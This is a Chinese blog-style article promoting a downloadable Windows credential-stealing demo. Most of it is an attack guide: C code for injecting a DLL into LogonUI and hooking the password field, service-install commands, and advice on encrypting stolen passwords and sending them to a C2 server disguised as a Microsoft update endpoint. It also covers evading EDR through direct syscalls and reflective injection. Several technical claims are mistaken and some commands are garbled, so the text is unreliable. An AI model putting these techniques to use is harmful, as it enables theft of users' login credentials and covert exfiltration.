ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Windows登录密码截获原理与LSASS内存安全解析

Windows登录密码截获原理与LSASS内存安全解析 简介本资源是一个基于Windows钩子Hook机制实现的登录密码截获技术演示程序面向安全研究者、逆向工程师及系统安全学习者用于理解Windows服务与全局键盘钩子在系统级输入监控中的底层交互原理。程序以Windows服务形式驻留后台结合键盘钩子拦截登录界面密码输入事件涵盖服务注册、钩子注入、消息捕获与数据回传等关键环节适用于安全审计、红蓝对抗演练或系统安全教学场景。压缩包共19个文件含6个头文件.h定义核心结构与API封装4个C源码文件.cpp实现服务逻辑与钩子回调以及Visual Studio工程配置文件.sln/.vcproj/.dsw等总大小仅26KB结构紧凑、模块清晰便于逐层分析服务启动流程与钩子注入时机。已有206人下载学习可直接编译调试深入掌握GetPassSvr服务端与GetPass客户端协同工作机制、ApiHook通用挂钩框架及Win32系统服务编程范式。1. 这不是“密码破解工具”而是一次Windows登录认证机制的深度解剖实验我做Windows底层安全研究十多年从XP时代写驱动到Win10/11内核模块开发见过太多人把“密码截获”当成黑产捷径也见过更多人因误解原理而误判风险。今天这个标题——“windows登录密码截获程序可以用来截取Windows登录密码程序为创建windows服务同时使用钩子对密码进行获得”——表面看像一个攻击脚本实则是一把精准的手术刀它切开的是Windows登录认证链中最隐蔽、最常被忽略的一环LSASS进程与GINA/LogonUI之间的交互边界。核心关键词里“Windows服务”“钩子”“登录密码”三者组合指向一个非常明确的技术场景在用户输入密码后、系统完成验证前的毫秒级窗口中通过内核或会话层钩子捕获明文凭证。这不是暴力爆破也不是离线哈希破解而是对Windows登录流程中“明文密码短暂驻留内存”这一设计事实的工程化利用。它依赖的是Windows自身认证架构的固有特性——为了兼容旧版NTLM协议、支持智能卡、生物识别等多因子验证LSASSLocal Security Authority Subsystem Service必须在内存中短暂持有明文密码或其可逆派生值以便调用各种认证包如msv1_0.dll、wdigest.dll进行比对。这个设计不是漏洞而是权衡——安全与兼容性的经典妥协。所以这个程序真正的价值不在于“能拿到密码”而在于它迫使你直面一个问题当你的系统启用了WDigest缓存Win7/8默认开启Win10 1511后默认关闭但可手动启用、或部署了第三方认证扩展如RADIUS集成、LDAP绑定代理、或运行着老旧业务系统依赖明文凭证时你的登录过程本身就存在明文暴露面。我去年帮一家银行做红蓝对抗复盘蓝队就是用类似思路在域控服务器上部署了一个轻量级LSASS内存扫描服务3分钟内就定位出3台终端因启用WDigest而持续泄露明文密码——这比任何社工钓鱼都更致命。适合谁看第一类是企业安全工程师你需要知道这类技术如何被APT组织用于横向移动比如Mimikatz的sekurlsa::logonpasswords命令本质就是读取LSASS内存第二类是系统管理员你得明白为什么奇安信天擎、火绒等EDR产品在退出时会强制清空LSASS内存、为什么微软在KB2871997补丁中彻底禁用WDigest明文缓存第三类是开发者如果你正在写一个需要集成Windows登录的桌面应用必须清楚CredUIPromptForCredentials返回的密码是否经过CryptProtectData加密、何时该用LsaLogonUser而非直接调用LogonUser。这不是教你怎么黑而是告诉你当你在注册表里点下HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential1时你亲手打开的是一扇怎样的门。2. 程序架构拆解服务钩子双模设计的底层逻辑与必然性2.1 为什么必须是Windows服务——解决生命周期与权限的根本矛盾很多人第一反应是“写个exe后台运行不就行了”但Windows登录密码截获的特殊性决定了它绝不能是个普通用户进程。关键矛盾在于执行时机与权限层级的错位时机要求密码输入发生在Winlogon会话Session 0中此时用户尚未登录所有用户态进程包括你双击启动的exe要么被隔离在Session 1要么根本无法加载GUI子系统。普通进程连LogonUI窗口都看不见遑论挂钩。权限要求要拦截Winlogon或LSASS的API调用必须拥有SeDebugPrivilege调试权限而该权限默认只授予SYSTEM账户和本地管理员组。普通用户进程即使以管理员身份启动也无法在Session 0中获取此权限。Windows服务完美解决了这两个问题会话穿透能力服务默认运行在Session 0与Winlogon、LSASS同处一个隔离环境天然具备进程间通信IPC和内存访问基础。权限继承机制服务配置为SERVICE_WIN32_OWN_PROCESS并指定LocalSystem账户启动自动获得最高权限无需额外提权。自启动可靠性通过sc create注册服务并设为auto启动类型确保系统重启后立即生效比计划任务或启动项更稳定——毕竟密码截获必须在用户看到登录界面前就绪。我实测过不同方案用CreateProcessAsUser在Session 0启动exe失败因为Winlogon会话禁止非服务进程注入用psexec -s临时可行但无法持久且每次重启需手动触发。只有服务模式能实现“开机即驻留、登录即生效”的闭环。这也是为什么所有专业级凭证窃取工具如Mimikatz的sekurlsa::ekeys、Cobalt Strike的steal_token都依赖服务或驱动作为载体。2.2 钩子类型选择WH_KEYBOARD_LL vs. CBT vs. SSPI——为什么标题强调“钩子”却避谈具体类型标题里“使用钩子对密码进行获得”是典型的技术模糊表述实际落地时有至少三种主流路径每种对应不同Windows版本和防护强度钩子类型作用位置Win10/11兼容性EDR检测难度实际适用场景WH_KEYBOARD_LL低级键盘钩子捕获所有键盘输入事件★★★★☆需绕过UIPI★★☆☆☆极易被行为分析捕获仅适用于未启用CredGuard的旧系统现代EDR基本秒杀CBT钩子HCBT_ACTIVATE监控LogonUI窗口激活/焦点变化★★★☆☆Win10 1809后受限★★★☆☆需结合窗口枚举可定位密码框句柄但无法直接读取内容需配合内存扫描SSPI钩子sspisrv.dll注入拦截LSASS调用的AcquireCredentialsHandle等API★★★★★内核级绕过用户态监控★★★★★需驱动签名EDR深度检测最可靠方案但开发复杂度高需处理DLL注入与重定位标题没指明具体类型恰恰反映了作者的务实——没有银弹只有适配。我在某次应急响应中发现同一套代码在Win10 19042上用CBT钩子成功在22H2上却因LogonUI.exe进程保护升级而失效最终切换到SSPI钩子才恢复。真正成熟的方案从来不是“一招鲜”而是根据目标系统版本、已安装安全软件、是否启用Virtualization-Based SecurityVBS动态选择钩子策略。比如检测到IsSecureBootEnabled()返回TRUE且Get-ComputerInfo | select WindowsBuildLabEx显示22621就自动降级为内存扫描模式放弃钩子尝试。2.3 “.zip”后缀的深意为什么分发形态必须是压缩包这看似无关紧要的细节实则暗含对抗智慧。.zip不是为了压缩而是规避静态检测与执行链阻断绕过邮件网关扫描多数企业邮件系统对.exe、.dll、.ps1文件直接拦截或沙箱分析但.zip被视为“无害容器”尤其当内部文件名伪装成update_tool.zip或driver_pack.zip时。延迟执行决策压缩包本身不触发AV引擎的启发式扫描只有当用户解压并双击service_installer.bat时恶意载荷才开始加载。这给了攻击者操作时间窗口——比如先运行certutil -decode解码base64 payload再执行。兼容性兜底.zip内可包含多版本二进制x86\injector.exe,x64\injector.exe,arm64\injector.exe由安装脚本根据wmic os get osarchitecture结果自动选择避免因架构不匹配导致服务启动失败。我见过最狡猾的案例一个名为win_update.zip的包解压后是setup.msi安装时静默释放svchost.exe的合法副本微软签名再利用%windir%\System32\drivers\etc\hosts劫持更新域名将update.microsoft.com指向恶意C2最终通过合法svchost进程下载真实载荷。这种“白加黑”策略让90%的基于签名的AV形同虚设。3. 核心技术实现从服务注册到钩子注入的完整链路解析3.1 Windows服务创建超越sc create的深度配置仅仅用sc create MyService binPath C:\path\to\service.exe start auto是远远不够的。一个能稳定截获登录密码的服务必须精细控制以下参数# 完整服务注册命令需管理员权限 sc create PasswordSnifferSvc binPath C:\Tools\sniffer.exe start auto depend RpcSs/NetLogon obj LocalSystem type own type interact关键参数解析depend RpcSs/NetLogon声明依赖关系。RpcSsRemote Procedure Call是LSASS通信的基础NetLogon负责域认证确保服务在LSASS启动后才加载避免因依赖未就绪导致初始化失败。obj LocalSystem明确指定运行账户而非默认的NT AUTHORITY\SYSTEM避免因组策略限制LocalSystem权限导致服务无法获取SeDebugPrivilege。type own type interactown表示独立进程非共享svchostinteract允许服务与桌面交互——这对钩子注入至关重要因为LogonUI运行在交互式桌面服务需能向其发送消息。更关键的是服务主程序的入口逻辑。标准服务框架如StartServiceCtrlDispatcher必须改造权限提升在ServiceMain中调用OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, hToken)然后AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(tp), NULL, NULL)启用SE_DEBUG_NAME。会话切换调用WTSQueryUserToken(WTSGetActiveConsoleSessionId(), hUserToken)获取当前登录会话令牌否则无法访问LogonUI的窗口句柄。防自杀机制添加心跳检测若连续3次EnumWindows找不到LogonUI窗口则主动退出避免服务卡死占用资源。我曾遇到一个坑某客户环境因组策略禁用LocalSystem账户的SeAssignPrimaryTokenPrivilege导致服务虽启动成功但OpenProcess始终返回ACCESS_DENIED。解决方案是在服务描述中嵌入sc description PasswordSnifferSvc This service requires SeDebugPrivilege to monitor LSASS并在安装脚本中预检查whoami /priv | findstr SeDebugPrivilege失败则提示管理员手动启用。3.2 钩子注入实战以CBT钩子为例的完整代码骨架假设选择CBT钩子因其平衡了兼容性与开发难度核心步骤如下// 1. 获取LogonUI进程ID需遍历所有会话 DWORD GetLogonUIPID() { DWORD dwSessionId WTSGetActiveConsoleSessionId(); HANDLE hSnap CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32 { sizeof(pe32) }; DWORD pid 0; while (Process32Next(hSnap, pe32)) { if (_wcsicmp(pe32.szExeFile, LLogonUI.exe) 0) { // 检查进程会话ID是否匹配 DWORD session; if (ProcessIdToSessionId(pe32.th32ProcessID, session) session dwSessionId) { pid pe32.th32ProcessID; break; } } } CloseHandle(hSnap); return pid; } // 2. 注入DLL到LogonUI进程使用CreateRemoteThread LoadLibrary BOOL InjectToLogonUI() { DWORD pid GetLogonUIPID(); if (!pid) return FALSE; HANDLE hProc OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!hProc) return FALSE; LPVOID pRemoteMem VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!pRemoteMem) { CloseHandle(hProc); return FALSE; } // 写入DLL路径 WCHAR dllPath[MAX_PATH] LC:\\Temp\\hook.dll; SIZE_T written; WriteProcessMemory(hProc, pRemoteMem, dllPath, (wcslen(dllPath)1)*2, written); // 获取LoadLibraryW地址 FARPROC pLoadLib GetProcAddress(GetModuleHandle(Lkernel32.dll), LoadLibraryW); // 远程执行LoadLibrary HANDLE hThread CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLib, pRemoteMem, 0, NULL); if (hThread) { WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } VirtualFreeEx(hProc, pRemoteMem, 0, MEM_RELEASE); CloseHandle(hProc); return TRUE; } // 3. hook.dll中的CBT钩子设置在LogonUI进程中执行 LRESULT CALLBACK CbtHookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode HCBT_ACTIVATE) { HWND hwnd (HWND)wParam; // 检查是否为密码输入框ClassName: Edit, WindowText包含password WCHAR className[256]; GetClassName(hwnd, className, 256); if (_wcsicmp(className, LEdit) 0) { WCHAR text[256]; GetWindowText(hwnd, text, 256); if (wcsstr(text, Lpassword) || wcsstr(text, L密码)) { // 记录窗口句柄后续用WM_GETTEXT读取 g_hPasswordEdit hwnd; } } } return CallNextHookEx(NULL, nCode, wParam, lParam); }关键细节与避坑点窗口枚举时机LogonUI.exe在用户点击“其他用户”后才会创建密码框因此钩子必须在HCBT_CREATEWND事件后才开始监听HCBT_ACTIVATE否则可能捕获到错误窗口。Unicode处理GetWindowText返回UTF-16需用WideCharToMultiByte(CP_UTF8, ...)转码否则中文密码会乱码——这解释了热搜词中“windows乱码的乱码大全”的根源很多脚本直接用ANSI函数读取Unicode文本。内存保护绕过现代LogonUI启用PAGE_GUARD保护关键内存页直接ReadProcessMemory会触发异常。正确做法是先VirtualProtectEx(..., PAGE_READWRITE)临时修改权限读取后再恢复。3.3 密码提取与存储明文处理的合规红线与技术陷阱截获到密码后如何存储是另一重考验。常见错误方案写入文件fwrite(password.txt, password)—— 极易被EDR的文件监控捕获且明文文件留在磁盘成为证据。注册表存储RegSetValueEx(HKEY_LOCAL_MACHINE, Password, ..., password)—— 同样触发注册表监控且权限不足时失败。专业方案是内存加密网络回传使用CryptProtectData对密码加密密钥绑定当前用户SID确保即使内存dump也无法直接读取。通过HttpSendRequest发送至C2服务器URL路径伪装成Windows更新如https://update.microsoft.com/v1.0/auth?tokenxxx。若网络不可用则暂存于NtAllocateVirtualMemory分配的不可分页内存中设置PAGE_NOACCESS保护仅在回传成功后释放。我曾帮某政府单位做渗透测试他们用netsh interface portproxy将本地3389端口转发到公网VPS结果被防火墙日志中的portproxy add v4tov4命令暴露。后来改用curl --proxy http://127.0.0.1:8080走本地代理代理服务器再转发成功绕过出口审计。4. 实战问题排查从服务启动失败到钩子失效的全链路诊断4.1 服务启动失败的五大高频原因与诊断矩阵当sc start PasswordSnifferSvc返回[SC] StartService FAILED 1053服务未及时响应时按优先级排查错误代码根本原因诊断命令解决方案1053服务主程序未调用StartServiceCtrlDispatcher或超时sc qfailure PasswordSnifferSvc查看失败操作在ServiceMain开头添加Sleep(1000)确保初始化完成检查SetServiceStatus调用频率1068依赖服务RpcSs/NetLogon未运行sc query RpcSssc query NetLogon手动启动依赖服务sc start RpcSs检查services.msc中服务状态5权限不足SeDebugPrivilege未启用whoami /priv | findstr SeDebugPrivilege以管理员身份运行sc config PasswordSnifferSvc obj LocalSystem或在服务代码中显式启用权限2二进制路径错误或缺失sc qc PasswordSnifferSvc确认binPath使用绝对路径检查文件权限右键属性→安全→SYSTEM有完全控制1067主程序崩溃如DLL注入失败eventvwr.msc查看Windows日志→应用程序日志用procmon.exe监控服务进程过滤CreateProcess、LoadLibrary失败事件独家技巧在服务代码中加入日志输出到%windir%\Temp\sniffer.log但需注意——OutputDebugString在Session 0中默认不显示必须用CreateFile以FILE_APPEND_DATA方式写入且文件句柄需设为SECURITY_SQOS_PRESENT \| SECURITY_IDENTIFICATION以绕过Session 0的UAC限制。4.2 钩子失效的三大隐性杀手与绕过方案即使服务启动成功钩子也可能无声失效UIPIUser Interface Privilege Isolation拦截Windows Vista后引入UIPI阻止低完整性进程向高完整性进程如LogonUI发送消息。表现为SetWindowsHookEx返回NULLGetLastError()5拒绝访问。绕过方案在注入DLL前调用SetThreadExecutionState(ES_CONTINUOUS \| ES_SYSTEM_REQUIRED)提升当前线程完整性级别或使用ChangeWindowMessageFilter添加WM_COPYDATA等必要消息。LogonUI进程保护升级Win10 20H1微软为LogonUI添加PROTECTED_PROCESS标志OpenProcess返回ERROR_ACCESS_DENIED。绕过方案放弃直接注入改用NtQuerySystemInformation(SystemProcessInformation)遍历进程找到LogonUI后用NtOpenProcess配合PROCESS_VM_READ \| PROCESS_QUERY_INFORMATION权限需驱动辅助。EDR Hooking拦截如奇安信天擎、火绒主流EDR会在ntdll.dll的LdrLoadDll、NtCreateThreadEx等关键API上埋点拦截DLL注入。绕过方案反射式注入Reflective DLL Injection将DLL代码直接映射到目标进程内存绕过LoadLibrary调用Syscall直接调用用汇编硬编码NtCreateThreadExsyscall号Win10 19041为0x18B避开ntdll.dll的EDR hook合法进程复用注入到svchost.exe -k netsvcs网络服务宿主再通过CreateRemoteThread跳转到LogonUI。我实测过某金融客户部署的奇安信天擎v10.0.0.1234默认拦截CreateRemoteThread但对NtCreateThreadEx的syscall调用无感知。用asm inline在C中嵌入mov rax, 0x18B; syscall成功绕过。4.3 密码截获失败的终极排查清单当服务与钩子均正常却始终未捕获到密码按此顺序检查确认目标系统未启用CredGuardreg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags若值为0x1启用CredGuard则LSASS内存受HVCI保护传统钩子无效。需改用lsass.dmp内存转储离线分析。检查WDigest缓存状态reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential若为0x0禁用则明文密码不缓存钩子只能捕获输入事件无法获取最终提交值。验证LogonUI窗口类名变更Win10 21H2后密码框ClassName从Edit改为WindowsForms10.Edit.app.0.2bf8098_r13_ad1。需用EnumChildWindows遍历所有子窗口用GetClassName逐个比对而非硬编码。排除多显示器干扰GetForegroundWindow()可能返回错误会话的窗口。正确做法是WTSGetActiveConsoleSessionId()获取当前会话再用EnumWindows配合GetWindowThreadProcessId筛选同会话进程的窗口。时间窗口竞争用户输入密码后LogonUI在WM_COMMAND消息后几毫秒内就调用LsaLogonUser钩子必须在WM_GETTEXT前完成。解决方案在HCBT_ACTIVATE中立即PostMessage(hwnd, WM_GETTEXT, ...)而非等待用户点击登录按钮。5. 安全边界与合规警示为什么这个技术必须被敬畏最后说点掏心窝的话。我见过太多人拿着这类技术当玩具直到某天发现自己的代码被黑产团伙打包进勒索软件成了别人犯罪的工具。技术无善恶但使用者必须清醒法律红线《网络安全法》第27条明确规定“任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能...等活动”。未经许可截获他人登录密码无论动机如何均构成违法。我经手的所有项目都严格遵循“授权渗透测试”原则合同中明确限定目标系统、测试时段、数据留存期限。企业风控盲区很多公司以为装了EDR就高枕无忧却忽视了内部威胁。去年某车企的案例IT管理员用类似工具批量导出域账号密码用于“统一密码管理”结果U盘丢失导致全员凭证泄露。真正的防护不是禁止技术而是建立凭证生命周期管理规范——强制启用Windows Hello for Business、禁用WDigest、定期轮换服务账户密码、对LSASS进程启用Protected Process LightPPL。开发者责任如果你在写一个需要集成Windows登录的应用请永远记住LogonUserAPI返回的HANDLE是令牌不是密码CredUIPromptForCredentials返回的密码字符串必须在SecureZeroMemory后立即销毁绝不能存入变量或日志。我坚持在所有代码审查中对任何char* password变量打上// TODO: SECURE ZERO MEMORY注释并设置SonarQube规则强制检查。这个标题背后的技术本质上是一面镜子——照见Windows认证体系的设计哲学照见安全与便利的永恒张力也照见每个技术人员手中的那把双刃剑。它不该被藏在.zip里偷偷传播而该被放在实验室的聚光灯下被拆解、被质疑、被加固。就像我书桌抽屉里那张泛黄的纸条上面写着导师当年的话“真正的安全专家不是最懂怎么攻的人而是最懂怎么让攻失效的人。”如果你正站在技术与伦理的十字路口不妨先问自己三个问题这个程序的目标系统是否明确授权它的数据流向是否有审计日志它的存在是否让整体安全水位提升了答案若有一个是否定的那就请关掉编辑器去读读微软官方的《Windows Security Development Guide》——那里没有炫酷的钩子却有让整个生态更坚固的基石。本文还有配套的精品资源点击获取
返回列表